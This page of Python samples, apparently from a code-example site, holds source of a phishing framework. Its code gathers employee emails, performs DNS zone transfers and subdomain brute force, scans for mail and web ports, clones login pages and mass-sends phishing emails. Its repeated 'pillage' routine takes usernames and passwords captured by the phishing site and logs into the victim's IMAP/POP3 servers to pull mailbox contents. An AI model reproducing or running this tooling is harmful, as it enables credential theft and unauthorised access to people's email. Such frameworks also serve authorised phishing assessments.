Exemple #1
0
    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if (usermatch):
            username = usermatch.group(1)

        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if (passmatch):
            password = passmatch.group(1)

        if ((not username) or (not password)):
            return

        if (not username + ":" + password in self.pillaged_users):
            self.pillaged_users.append(username + ":" + password)

            if (not self.mp):
                self.mp = MailPillager()

            if (not self.bestMailServer):
                self.determineBestMailServer()

            if (not self.bestMailServer):
                self.display.error(
                    "No valid target IMAP/POP3 mail servers were identified.")
                return

            print self.bestMailServer + ":" + str(self.bestMailServerPort)

            self.mp.pillage(username=username,
                            password=password,
                            server=self.bestMailServer,
                            port=self.bestMailServerPort,
                            domain=self.config["domain_name"],
                            outputdir=self.logpath)
Exemple #2
0
    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if usermatch:
            username = usermatch.group(1)

        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if passmatch:
            password = passmatch.group(1)

        if (not username) or (not password):
            return

        if not username + ":" + password in self.pillaged_users:
            self.pillaged_users.append(username + ":" + password)

            if not self.mp:
                self.mp = MailPillager()

            if not self.bestMailServer:
                self.determineBestMailServer()

            if not self.bestMailServer:
                self.display.error("No valid target IMAP/POP3 mail servers were identified.")
                return

            print self.bestMailServer + ":" + str(self.bestMailServerPort)

            self.mp.pillage(
                username=username,
                password=password,
                server=self.bestMailServer,
                port=self.bestMailServerPort,
                domain=self.config["domain_name"],
                outputdir=self.logpath,
            )
Exemple #3
0
    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if (usermatch):
            username = usermatch.group(1)
        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if (passmatch):
            password = passmatch.group(1)

        # if no username or password, then return
        if ((not username) or (not password)):
            return

        # is it a new username/password pair we have not seen before?
        if (not username+":"+password in self.pillaged_users):
            self.pillaged_users.append(username+":"+password)

            # make a new MailPillager if one does not exist
            if (not self.mp):
                self.mp = MailPillager()

            # attempt to determine the best Mail Server to use
            if (not self.bestMailServer):
                self.determineBestMailServer()

            # if no Best Mail Server was identified, return
            if (not self.bestMailServer):
                self.display.error("No valid target IMAP/POP3 mail servers were identified.")
                return

            #print self.bestMailServer + ":" + str(self.bestMailServerPort)

            # PILLAGE!!!
            self.mp.pillage(username=username, password=password, server=self.bestMailServer,
                    port=self.bestMailServerPort, domain=self.config["domain_name"], outputdir=self.outdir + "pillage_data/")
Exemple #4
0
class Framework(object):
    def __init__(self):
        self.config = {}  # dict to contain combined list of config file options and commandline parameters
        self.email_list = []  # list of email targets
        self.hostname_list = []  # list of dns hosts
        self.server_list = {}
        self.profile_valid_web_templates = []
        self.profile_dynamic_web_templates = []
        self.pillaged_users = []
        self.bestMailServerPort = None
        self.bestMailServer = None
        self.webserver = None  # web server process
        self.webserverpid = None
        self.gather = None
        self.mp = None  # mail pillager

        # initialize some config options
        self.config["domain_name"] = ""
        self.config["phishing_domain"] = ""
        self.config["company_name"] = ""
        self.config["config_filename"] = ""
        self.config["email_list_filename"] = ""

        # default all bool values to False
        self.config["verbose"] = False
        self.config["gather_emails"] = False
        self.config["gather_dns"] = False
        self.config["enable_externals"] = False
        self.config["enable_web"] = False
        self.config["enable_email"] = False
        self.config["enable_email_sending"] = False
        self.config["simulate_email_sending"] = False
        self.config["daemon_web"] = False
        self.config["always_yes"] = False
        self.config["enable_advanced"] = False
        self.config["profile_domain"] = False
        self.config["pillage_email"] = False

        # get current IP
        self.config["ip"] = Utils.getIP()

        # set a few misc values
        self.pid_path = os.path.dirname(os.path.realpath(__file__)) + "/../"
        self.display = Display()
        self.email_templates = defaultdict(list)

    # ==================================================
    # SUPPORT METHODS
    # ==================================================

    def ctrlc(self):
        print
        self.display.alert("Ctrl-C caught!!!")
        self.cleanup()

    def cleanup(self):
        print
        if self.webserver is not None:
            if self.config["daemon_web"]:
                self.display.alert("Webserver is still running as requested.")
            else:
                # send SIGTERM to the web process
                self.display.output("stopping the webserver")
                self.webserver.send_signal(signal.SIGINT)
                # delete the pid file
                os.remove(self.pid_path + "spfwebsrv.pid")
                # as a double check, manually kill the process
                self.killProcess(self.webserverpid)
        # call report generation
        self.generateReport()
        # exit
        sys.exit(0)

    def killProcess(self, pid):
        if os.path.exists("/proc/" + str(pid)):
            self.display.alert("Killing process [%s]" % (pid))
            os.kill(pid, signal.SIGKILL)
            if os.path.isfile(self.pid_path + "spfwebsrv.pid"):
                os.remove(self.pid_path + "spfwebsrv.pid")

    def generateReport(self):
        self.display.output("Generating phishing report")
        self.display.log("ENDTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")

        path = os.path.dirname(os.path.realpath(__file__))
        # Start process
        cmd = [path + "/../report.py", self.logpath]
        self.display.output("Report file located at %s%s" % (self.logpath, subprocess.check_output(cmd)))

    def parse_parameters(self, argv):
        parser = argparse.ArgumentParser()

        # ==================================================
        # Required Args
        # ==================================================
        #        requiredgroup = parser.add_argument_group('required arguments')
        #        requiredgroup.add_argument("-d",
        #                            metavar="<domain>",
        #                            dest="domain",
        #                            action='store',
        #                            required=True,
        #                            help="domain name to phish")

        # ==================================================
        # Input Files
        # ==================================================
        filesgroup = parser.add_argument_group("input files")
        filesgroup.add_argument(
            "-f",
            metavar="<list.txt>",
            dest="email_list_file",
            action="store",
            #                            type=argparse.FileType('r'),
            help="file containing list of email addresses",
        )
        filesgroup.add_argument(
            "-C",
            metavar="<config.txt>",
            dest="config_file",
            action="store",
            #                            type=argparse.FileType('r'),
            help="config file",
        )

        # ==================================================
        # Enable Flags
        # ==================================================
        enablegroup = parser.add_argument_group("enable flags")
        enablegroup.add_argument(
            "--all",
            dest="enable_all",
            action="store_true",
            help="enable ALL flags... same as (-g --external -s -w -v -v -y)",
        )
        enablegroup.add_argument(
            "--test",
            dest="enable_test",
            action="store_true",
            help="enable all flags EXCEPT sending of emails... same as (-g --external --simulate -w -y -v -v)",
        )
        enablegroup.add_argument(
            "--recon",
            dest="enable_recon",
            action="store_true",
            help="gather info (i.e. email addresses, dns hosts, websites, etc...) same as (-e --dns)",
        )
        enablegroup.add_argument(
            "--external", dest="enable_external", action="store_true", help="enable external tool utilization"
        )
        enablegroup.add_argument(
            "--dns", dest="enable_gather_dns", action="store_true", help="enable automated gathering of dns hosts"
        )
        enablegroup.add_argument(
            "-g", dest="enable_gather_email", action="store_true", help="enable automated gathering of email targets"
        )
        enablegroup.add_argument(
            "-s",
            dest="enable_send_email",
            action="store_true",
            help="enable automated sending of phishing emails to targets",
        )
        enablegroup.add_argument(
            "--simulate",
            dest="simulate_send_email",
            action="store_true",
            help="simulate the sending of phishing emails to targets",
        )
        enablegroup.add_argument(
            "-w", dest="enable_web", action="store_true", help="enable generation of phishing web sites"
        )
        enablegroup.add_argument(
            "-W", dest="daemon_web", action="store_true", help="leave web server running after termination of spf.py"
        )

        # ==================================================
        # Advanced Flags
        # ==================================================
        advgroup = parser.add_argument_group("ADVANCED")
        advgroup.add_argument(
            "--adv",
            dest="enable_advanced",
            action="store_true",
            help="perform all ADVANCED features same as (--dns --profile --pillage)",
        )
        advgroup.add_argument(
            "--profile",
            dest="profile_domain",
            action="store_true",
            help="profile the target domain (requires the --dns flag)",
        )
        advgroup.add_argument(
            "--pillage",
            dest="pillage_email",
            action="store_true",
            help="auto pillage email accounts (requires the --dns flag)",
        )

        # ==================================================
        # Optional Args
        # ==================================================
        parser.add_argument("-d", metavar="<domain>", dest="domain", action="store", help="domain name to phish")
        parser.add_argument(
            "-p",
            metavar="<domain>",
            dest="phishdomain",
            default="example.com",
            action="store",
            help="newly registered 'phish' domain name",
        )
        parser.add_argument(
            "-c", metavar="<company's name>", dest="company", action="store", help="name of company to phish"
        )
        parser.add_argument(
            "--ip",
            metavar="<IP address>",
            dest="ip",
            default=Utils.getIP(),
            action="store",
            help="IP of webserver defaults to [%s]" % (Utils.getIP()),
        )
        parser.add_argument("-v", "--verbosity", dest="verbose", action="count", help="increase output verbosity")

        # ==================================================
        # Misc Flags
        # ==================================================
        miscgroup = parser.add_argument_group("misc")
        miscgroup.add_argument(
            "-y", dest="always_yes", action="store_true", help="automatically answer yes to all questions"
        )

        args = parser.parse_args()

        # convert parameters to values in the config dict
        self.config["domain_name"] = args.domain
        if self.config["domain_name"] is None:
            self.config["domain_name"] = ""
        self.config["phishing_domain"] = args.phishdomain
        if self.config["phishing_domain"] is None:
            self.config["phishing_domain"] = "example.com"
        self.config["company_name"] = args.company
        self.config["ip"] = args.ip
        self.config["config_filename"] = args.config_file
        self.config["email_list_filename"] = args.email_list_file
        self.config["verbose"] = args.verbose
        self.config["gather_emails"] = args.enable_gather_email
        self.config["gather_dns"] = args.enable_gather_dns
        self.config["profile_domain"] = args.profile_domain
        self.config["pillage_email"] = args.pillage_email
        self.config["enable_externals"] = args.enable_external
        self.config["enable_web"] = args.enable_web
        self.config["enable_email_sending"] = args.enable_send_email
        self.config["simulate_email_sending"] = args.simulate_send_email
        self.config["daemon_web"] = args.daemon_web
        self.config["always_yes"] = args.always_yes

        if args.enable_recon == True:
            self.config["gather_emails"] = True
            self.config["gather_dns"] = True

        if args.enable_all == True:
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["enable_web"] = True
            self.config["enable_email_sending"] = True
            self.config["verbose"] = 2
            self.config["always_yes"] = True

        if args.enable_test == True:
            self.config["gather_emails"] = True
            self.config["enable_externals"] = True
            self.config["simulate_email_sending"] = True
            self.config["enable_web"] = True
            self.config["always_yes"] = True
            self.config["verbose"] = 2

        if args.enable_advanced == True:
            self.config["gather_dns"] = True
            self.config["profile_domain"] = True
            self.config["pillage_email"] = True

        if self.config["profile_domain"] and not self.config["gather_dns"]:
            self.config["profile_domain"] = False
            self.display.error("--profile requires the --dns option to be enabled as well.")

        if self.config["pillage_email"] and not self.config["gather_dns"]:
            self.config["pillage_email"] = False
            self.display.error("--pillage requires the --dns option to be enabled as well.")

        good = False
        if (
            self.config["gather_emails"]
            or self.config["enable_externals"]
            or self.config["enable_web"]
            or self.config["enable_email_sending"]
            or self.config["simulate_email_sending"]
            or self.config["gather_dns"]
            or self.config["profile_domain"]
            or self.config["pillage_email"]
        ):
            good = True
        if not good:
            self.display.error(
                "Please enable at least one of the following parameters: -g --external --dns -s --simulate -w ( --all --test --recon --adv )"
            )
            print
            parser.print_help()
            sys.exit(1)

    # ==================================================
    # Primary METHOD
    # ==================================================

    def run(self, argv):

        # ==================================================
        # Process/Load commanline args and config file
        # ==================================================

        self.parse_parameters(argv)

        # load the config file
        if self.config["config_filename"] is not None:
            temp1 = self.config
            temp2 = Utils.load_config(self.config["config_filename"])
            self.config = dict(temp2.items() + temp1.items())
        else:
            if Utils.is_readable("default.cfg"):
                self.display.error("a CONFIG FILE was not specified...  defaulting to [default.cfg]")
                print
                temp1 = self.config
                temp2 = Utils.load_config("default.cfg")
                self.config = dict(temp2.items() + temp1.items())
            else:
                self.display.error("a CONFIG FILE was not specified...")
                print
                sys.exit()

        # set verbosity level
        if self.config["verbose"] >= 1:
            self.display.enableVerbose()
        if self.config["verbose"] > 1:
            self.display.enableDebug()

        # set logging path
        self.logpath = os.getcwd() + "/" + self.config["domain_name"] + "_" + self.config["phishing_domain"] + "/"
        if not os.path.exists(os.path.dirname(self.logpath)):
            os.makedirs(os.path.dirname(self.logpath))

        self.display.setLogPath(self.logpath)
        # print self.logpath
        self.db = MyDB(sqlite_file=self.logpath)

        self.display.log("STARTTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")
        self.display.log("TARGETDOMAIN=%s\n" % (self.config["domain_name"]), filename="INFO.txt")
        self.display.log("PHISHINGDOMAIN=%s\n" % (self.config["phishing_domain"]), filename="INFO.txt")

        # ==================================================
        # Load/Gather target email addresses
        # ==================================================

        if (self.config["email_list_filename"] is not None) or (self.config["gather_emails"] == True):
            print
            self.display.output("Obtaining list of email targets")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                # if an external emaillist file was specified, read it in
                if self.config["email_list_filename"] is not None:
                    file = open(self.config["email_list_filename"], "r")
                    temp_list = file.read().splitlines()
                    self.display.verbose(
                        "Loaded [%s] email addresses from [%s]" % (len(temp_list), self.config["email_list_filename"])
                    )
                    self.email_list += temp_list

                # gather email addresses
                if self.config["gather_emails"] == True:
                    if self.config["domain_name"] == "":
                        self.display.error("No target domain specified.  Can not gather email addresses.")
                    else:
                        self.display.verbose("Gathering emails via built-in methods")
                        self.display.verbose(Gather.get_sources())
                        if not self.gather:
                            self.gather = Gather(self.config["domain_name"], display=self.display)
                        temp_list = self.gather.emails()
                        self.display.verbose("Gathered [%s] email addresses from the Internet" % (len(temp_list)))
                        self.email_list += temp_list
                        print

                        # gather email addresses from external sources
                        if (self.config["gather_emails"] == True) and (self.config["enable_externals"] == True):
                            # theHarvester
                            self.display.verbose("Gathering emails via theHarvester")
                            thr = theHarvester(
                                self.config["domain_name"], self.config["theharvester_path"], display=self.display
                            )
                            out = thr.run()
                            if not out:
                                temp_list = thr.emails()
                                self.display.verbose(
                                    "Gathered [%s] email addresses from theHarvester" % (len(temp_list))
                                )
                                self.email_list += temp_list
                            else:
                                self.display.error(out)
                            print

                #                        # Recon-NG
                #                        self.display.verbose("Gathering emails via Recon-NG")
                #                        temp_list = reconng(self.config["domain_name"], self.config["reconng_path"]).gather()
                #                        self.display.verbose("Gathered [%s] email addresses from Recon-NG" % (len(temp_list)))
                #                        self.email_list += temp_list

                # sort/unique email list
                self.email_list = Utils.unique_list(self.email_list)
                self.email_list.sort()

                self.db.addUsers(self.email_list)

                # print list of email addresses
                self.display.verbose("Collected [%s] unique email addresses" % (len(self.email_list)))
                self.display.print_list("EMAIL LIST", self.email_list)
                for email in self.email_list:
                    self.display.log(email + "\n", filename="email_targets.txt")

        # ==================================================
        # Gather dns hosts
        # ==================================================

        if self.config["gather_dns"] == True:
            print
            self.display.output("Obtaining list of host on the %s domain" % (self.config["domain_name"]))
            self.display.verbose("Gathering hosts via built-in methods")

            # Gather hosts from internet search
            self.display.verbose(Gather.get_sources())
            if not self.gather:
                self.gather = Gather(self.config["domain_name"], display=self.display)
            temp_list = self.gather.hosts()
            self.display.verbose("Gathered [%s] hosts from the Internet Search" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from DNS lookups
            temp_list = Dns.xfr(self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS Zone Transfer" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.ns(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS NS lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            temp_list = Dns.mx(self.config["domain_name"])
            temp_list = Utils.filterList(temp_list, self.config["domain_name"])
            self.display.verbose("Gathered [%s] hosts from DNS MX lookups" % (len(temp_list)))
            self.hostname_list += temp_list

            # Gather hosts from dictionary lookup
            temp_list = Dns.brute(self.config["domain_name"], display=self.display)
            self.display.verbose("Gathered [%s] hosts from DNS BruteForce/Dictionay Lookup" % (len(temp_list)))
            self.hostname_list += temp_list

            # sort/unique hostname list
            self.hostname_list = Utils.unique_list(self.hostname_list)
            self.hostname_list.sort()

            self.db.addHosts(self.hostname_list)

            # print list of hostnames
            self.display.verbose("Collected [%s] unique host names" % (len(self.hostname_list)))
            self.display.print_list("HOST LIST", self.hostname_list)

        # ==================================================
        # Perform Port Scans
        # ==================================================

        if self.config["gather_dns"] == True:
            self.display.output("Performing basic port scans of any identified hosts.")
            self.server_list[80] = []
            self.server_list[443] = []
            self.server_list[110] = []
            self.server_list[995] = []
            self.server_list[143] = []
            self.server_list[993] = []
            self.server_list[25] = []

            for host in self.hostname_list:
                openports = portscan.scan(host, [25, 80, 110, 143, 443, 993, 995])
                found = False
                for port in openports:
                    self.db.addPort(port, host)
                    if port == 80:
                        self.display.verbose("Found website at: %s 80" % (host))
                        self.server_list[80].append(host)
                        found = True
                    elif port == 443:
                        self.display.verbose("Found website at: %s 443" % (host))
                        self.server_list[443].append(host)
                        found = True
                    elif port == 110:
                        self.display.verbose("Found POP at    : %s 110" % (host))
                        self.server_list[110].append(host)
                        found = True
                    elif port == 995:
                        self.display.verbose("Found POPS at   : %s 995" % (host))
                        self.server_list[995].append(host)
                        found = True
                    elif port == 143:
                        self.display.verbose("Found IMAP at   : %s 143" % (host))
                        self.server_list[143].append(host)
                        found = True
                    elif port == 993:
                        self.display.verbose("Found IMAPS at  : %s 993" % (host))
                        self.server_list[993].append(host)
                        found = True
                    elif port == 25:
                        self.display.verbose("Found SMTP at   : %s 25" % (host))
                        self.server_list[25].append(host)
                        found = True
                    if found:
                        self.display.log(host + "\n", filename="hosts.txt")

        # ==================================================
        # Profile Web Sites
        # ==================================================

        if self.config["profile_domain"] == True:
            self.display.output("Determining if any of the identified hosts have web servers.")

            for host in self.server_list[80]:
                p = profiler()
                profile_results = p.run("http://" + host, debug=False)
                if profile_results and (len(profile_results) > 0):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if value.getscore() > max_value:
                            max_key = key
                            max_value = value.getscore()
                    if max_value > 0:
                        self.display.verbose("POSSIBLE MATCH FOR [http://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if p.hasLogin("http://" + host):
                        self.profile_dynamic_web_templates.append("http://" + host)

            for host in self.server_list[443]:
                p = profiler()
                profile_results = p.run("https://" + host, debug=False)
                if profile_results and (len(profile_results) > 0):
                    max_key = ""
                    max_value = 0
                    for key, value in profile_results:
                        if value.getscore() > max_value:
                            max_key = key
                            max_value = value.getscore()
                    if max_value > 0:
                        self.display.verbose("POSSIBLE MATCH FOR [https://%s] => [%s]" % (host, max_key))
                        self.profile_valid_web_templates.append(max_key)
                else:
                    if p.hasLogin("https://" + host):
                        self.display.verbose("POSSIBLE DYNAMIC TEMPLATE SITE [https://%s]" % (host))
                        self.profile_dynamic_web_templates.append("https://" + host)

            self.profile_valid_web_templates = Utils.unique_list(self.profile_valid_web_templates)
            self.profile_valid_web_templates.sort()
            # print list of valid templatess
            self.display.verbose("Collected [%s] valid web templates" % (len(self.profile_valid_web_templates)))
            self.display.print_list("VALID TEMPLATE LIST", self.profile_valid_web_templates)

            self.profile_dynamic_web_templates = Utils.unique_list(self.profile_dynamic_web_templates)
            self.profile_dynamic_web_templates.sort()

            # print list of valid templatess
            self.display.verbose("Collected [%s] dynamic web templates" % (len(self.profile_dynamic_web_templates)))
            self.display.print_list("DYNAMIC TEMPLATE LIST", self.profile_dynamic_web_templates)

            self.display.output("Cloning any DYNAMIC sites")
            for template in self.profile_dynamic_web_templates:
                sc = SiteCloner(clone_dir=self.logpath)
                tdir = sc.cloneUrl(template)
                self.display.verbose("Cloning [%s] to [%s]" % (template, tdir))
                self.db.addWebTemplate(ttype="dynamic", src_url=template, tdir=tdir)

            for f in os.listdir(self.config["web_template_path"]):
                template_file = os.path.join(self.config["web_template_path"], f) + "/CONFIG"
                #                self.db.addWebTemplate(ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f))
                for line in open(template_file).readlines():
                    for tem in self.profile_valid_web_templates:
                        if re.match("^VHOST=\s*" + tem + "\s*$", line, re.IGNORECASE):
                            self.db.addWebTemplate(
                                ttype="static", src_url="", tdir=os.path.join(self.config["web_template_path"], f)
                            )
                            break

        # ==================================================
        # Load web sites
        # ==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Starting phishing webserver")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                path = os.path.dirname(os.path.realpath(__file__))
                # Start process
                cmd = [path + "/../web.py", Utils.compressDict(self.config)]
                self.webserver = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE)

                # monitor output to gather website information
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if line == "Websites loaded and launched.":
                        break
                    if line != "":
                        self.display.verbose(line)
                        match = re.search("Started website", line)
                        VHOST = ""
                        PORT = ""
                        if match:
                            parts = line.split("[")
                            VHOST = parts[1].split("]")
                            VHOST = VHOST[0].strip()
                            PORT = parts[2].split("]")
                            PORT = PORT[0].strip()
                            PORT = PORT[7:]
                            # keep the URL clean
                            # if port is 80, then it does not need to be included in the URL
                            if PORT[-3:] == ":80":
                                PORT = PORT[:-3]

                            self.config[VHOST + "_port"] = PORT
                            self.config[VHOST + "_vhost"] = VHOST
                            Utils.screenCaptureWebSite("http://" + PORT, self.logpath + PORT + "_" + VHOST + ".png")
                            Utils.screenCaptureWebSite(
                                "http://" + VHOST + "." + self.config["phishing_domain"],
                                self.logpath + VHOST + "." + self.config["phishing_domain"] + ".png",
                            )

                # Write PID file
                pidfilename = os.path.join(self.pid_path, "spfwebsrv.pid")
                pidfile = open(pidfilename, "w")
                pidfile.write(str(self.webserver.pid))
                pidfile.close()
                self.webserverpid = self.webserver.pid
                self.display.verbose("Started WebServer with pid = [%s]" % self.webserver.pid)

        # ==================================================
        # Build array of email templates
        # ==================================================

        if ((self.email_list is not None) and (self.email_list)) and (
            (self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True)
        ):
            print
            self.display.verbose("Locating phishing email templates")
            if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                # loop over each email template
                for f in os.listdir("templates/email/"):
                    template_file = os.path.join("templates/email/", f)
                    self.display.debug("Found the following email template: [%s]" % template_file)

                    if (Utils.is_readable(template_file)) and (os.path.isfile(template_file)):
                        # read in the template SUBJECT, TYPE, and BODY
                        TYPE = ""
                        SUBJECT = ""
                        BODY = ""
                        with open(template_file, "r") as myfile:
                            for line in myfile.readlines():
                                match = re.search("TYPE=", line)
                                if match:
                                    TYPE = line.replace('"', "")
                                    TYPE = TYPE.split("=")
                                    TYPE = TYPE[1].lower().strip()
                                match2 = re.search("SUBJECT=", line)
                                if match2:
                                    SUBJECT = line.replace('"', "")
                                    SUBJECT = SUBJECT.split("=")
                                    SUBJECT = SUBJECT[1].strip()
                                match3 = re.search("BODY=", line)
                                if match3:
                                    BODY = line.replace('"', "")
                                    BODY = BODY.replace(r"\n", "\n")
                                    BODY = BODY.split("=")
                                    BODY = BODY[1].strip()
                        self.email_templates[TYPE].append(EmailTemplate(TYPE, SUBJECT, BODY))

        # ==================================================
        # Generate/Send phishing emails
        # ==================================================

        if (self.config["enable_email_sending"] == True) or (self.config["simulate_email_sending"] == True):
            if (self.config["determine_smtp"] == "1") and (self.config["use_specific_smtp"] == "1"):
                self.display.error("ONLY 1 of DETERMINE_SMTP or USE_SPECIFIC_SMTP can be enabled at a time.")
            else:
                print
                self.display.output("Sending phishing emails")
                if self.config["always_yes"] or self.display.yn("Continue", default="y"):

                    templates_logged = []
                    # do we have any emails top send?
                    if self.email_list:
                        temp_target_list = self.email_list
                        temp_delay = 1
                        if self.config["email_delay"] is not None:
                            temp_delay = int(self.config["email_delay"])
                        send_count = 0
                        # while there are still target email address, loop
                        while temp_target_list and (send_count < (int(self.config["emails_max"]))):
                            # inc number of emails we have attempted to send
                            send_count = send_count + 1
                            # delay requested amount of time between sending emails
                            time.sleep(temp_delay)
                            # for each type of email (citrix, owa, office365, ...)
                            for key in self.email_templates:
                                # double check
                                if temp_target_list:
                                    # for each email template of the given type
                                    for template in self.email_templates[key]:
                                        # double check
                                        if temp_target_list:
                                            # grab a new target email address
                                            target = temp_target_list.pop(0)
                                            self.display.verbose("Sending Email to [%s]" % target)
                                            # FROM = "support@" + self.config["phishing_domain"]
                                            FROM = self.config["smtp_fromaddr"]

                                            SUBJECT = template.getSUBJECT()
                                            BODY = template.getBODY()

                                            # perform necessary SEARCH/REPLACE
                                            if self.config["enable_host_based_vhosts"] == "1":
                                                BODY = BODY.replace(
                                                    r"[[TARGET]]",
                                                    "http://" + key + "." + self.config["phishing_domain"],
                                                )
                                                if self.config["default_web_port"] != "80":
                                                    BODY += ":" + self.config["default_web_port"]
                                            else:
                                                BODY = BODY.replace(
                                                    r"[[TARGET]]", "http://" + self.config[key + "_port"]
                                                )

                                            # log
                                            if key not in templates_logged:
                                                self.display.log(
                                                    "----------------------------------------------\n\n"
                                                    + "TO: <XXXXX>\n"
                                                    + "FROM: "
                                                    + FROM
                                                    + "\n"
                                                    + "SUBJECT: "
                                                    + SUBJECT
                                                    + "\n\n"
                                                    + BODY
                                                    + "\n\n"
                                                    + "----------------------------------------------\n\n"
                                                    + "TARGETS:\n"
                                                    + "--------\n",
                                                    filename="email_template_" + key + ".txt",
                                                )
                                                templates_logged.append(key)
                                            self.display.log(target + "\n", filename="email_template_" + key + ".txt")

                                            # send the email
                                            if self.config["simulate_email_sending"] == True:
                                                self.display.output(
                                                    "Would have sent an email to [%s] with subject of [%s], but this was just a test."
                                                    % (target, SUBJECT)
                                                )
                                            else:
                                                try:
                                                    if self.config["determine_smtp"] == "1":
                                                        emails.send_email_direct(
                                                            target, FROM, SUBJECT, BODY, debug=True
                                                        )
                                                    if self.config["use_specific_smtp"] == "1":
                                                        # self.display.error("[USE_SPECIFIC_SMTP] not implemented")
                                                        print self.config["smtp_fromaddr"]
                                                        emails.send_email_account(
                                                            self.config["smtp_server"],
                                                            int(self.config["smtp_port"]),
                                                            self.config["smtp_user"],
                                                            self.config["smtp_pass"],
                                                            target,
                                                            self.config["smtp_fromaddr"],
                                                            SUBJECT,
                                                            BODY,
                                                            debug=True,
                                                        )
                                                except:
                                                    self.display.error(sys.exc_info()[0])

        # ==================================================
        # Monitor web sites
        # ==================================================

        if self.config["enable_web"] == True:
            print
            self.display.output("Monitoring phishing website activity!")
            self.display.alert("(Press CTRL-C to stop collection and generate report!)")
            if self.webserver:
                while True:
                    line = self.webserver.stdout.readline()
                    line = line.strip()
                    if self.config["pillage_email"]:
                        self.pillage(line)
                    self.display.output(line)

    # ==================================================
    # Secondary METHODS
    # ==================================================

    def pillage(self, line):
        username = None
        password = None

        # parse line into username/password
        usermatch = re.match(".*username=\['(.*?)'\].*", line)
        if usermatch:
            username = usermatch.group(1)

        passmatch = re.match(".*password=\['(.*?)'\].*", line)
        if passmatch:
            password = passmatch.group(1)

        if (not username) or (not password):
            return

        if not username + ":" + password in self.pillaged_users:
            self.pillaged_users.append(username + ":" + password)

            if not self.mp:
                self.mp = MailPillager()

            if not self.bestMailServer:
                self.determineBestMailServer()

            if not self.bestMailServer:
                self.display.error("No valid target IMAP/POP3 mail servers were identified.")
                return

            print self.bestMailServer + ":" + str(self.bestMailServerPort)

            self.mp.pillage(
                username=username,
                password=password,
                server=self.bestMailServer,
                port=self.bestMailServerPort,
                domain=self.config["domain_name"],
                outputdir=self.logpath,
            )

    def determineBestMailServer(self):
        if self.server_list[993]:  # IMAPS
            self.bestMailServerPort = 993
            self.bestMailServer = self.server_list[993][0]
        elif self.server_list[143]:  # IMAP
            self.bestMailServerPort = 143
            self.bestMailServer = self.server_list[143][0]
        elif self.server_list[995]:  # POP3S
            self.bestMailServerPort = 995
            self.bestMailServer = self.server_list[995][0]
        elif self.server_list[110]:  # POP3
            self.bestMailServerPort = 110
            self.bestMailServer = self.server_list[110][0]
Exemple #5
0
class Framework(object):

    def __init__(self):
        self.config = {}        # dict to contain combined list of config file options and commandline parameters
        self.email_list = []    # list of email targets
        self.hostname_list = []    # list of dns hosts
        self.server_list = {}
        self.profile_valid_web_templates = []
        self.profile_dynamic_web_templates = []
        self.pillaged_users = []
        self.bestMailServerPort = None
        self.bestMailServer = None
        self.webserver = None   # web server process
        self.webserverpid = None
        self.gather = None
        self.mp = None # mail pillager

        # initialize some config options
        self.config["domain_name"] = ""
        self.config["phishing_domain"] = ""
        self.config["company_name"] = ""
        self.config["config_filename"] = ""
        self.config["email_list_filename"] = ""

        # default all bool values to False
        self.config["verbose"] = False
        self.config["gather_emails"] = False
        self.config["gather_dns"] = False
        self.config["enable_externals"] = False
        self.config["enable_web"] = False
        self.config["enable_email"] = False
        self.config["enable_email_sending"] = False
        self.config["simulate_email_sending"] = False
        self.config["daemon_web"] = False
        self.config["always_yes"] = False
        self.config["enable_advanced"] = False
        self.config["profile_domain"] = False
        self.config["pillage_email"] = False

        #self.config["attachment_filename"] = None
        #self.config["attachment_fullpath"] = None

        # get current IP
        #self.config['ip'] = None

        # set a few misc values
        self.pid_path = os.path.dirname(os.path.realpath(__file__)) + "/../"
        self.display = Display()
        self.email_templates = defaultdict(list)

    #==================================================
    # SUPPORT METHODS
    #==================================================

    #----------------------------
    # CTRL-C display and exit
    #----------------------------
    def ctrlc(self):
        print
        self.display.alert("Ctrl-C caught!!!")
        self.cleanup()

    #----------------------------
    # Close everything down nicely
    #----------------------------
    def cleanup(self):
        print
        if (self.webserver is not None):
            if (self.config["daemon_web"]):
                self.display.alert("Webserver is still running as requested.")
            else:
                # send SIGTERM to the web process
                self.display.output("stopping the webserver")
                self.webserver.send_signal(signal.SIGINT)
                # delete the pid file
                os.remove(self.pid_path + "spfwebsrv.pid") 
                # as a double check, manually kill the process
                self.killProcess(self.webserverpid)
        # call report generation
        self.generateReport()
        # exit
        sys.exit(0)

    #----------------------------
    # Kill specified process
    #----------------------------
    def killProcess(self, pid):
        if (os.path.exists("/proc/" + str(pid))):
            self.display.alert("Killing process [%s]" % (pid))
            os.kill(pid, signal.SIGKILL)
            if (os.path.isfile(self.pid_path + "spfwebsrv.pid")):
                os.remove(self.pid_path + "spfwebsrv.pid") 

    #----------------------------
    # Generate The simple report
    #----------------------------
    def generateReport(self):
        self.display.output("Generating phishing report")
        self.display.log("ENDTIME=%s\n" % (time.strftime("%Y/%m/%d %H:%M:%S")), filename="INFO.txt")

        # Start process
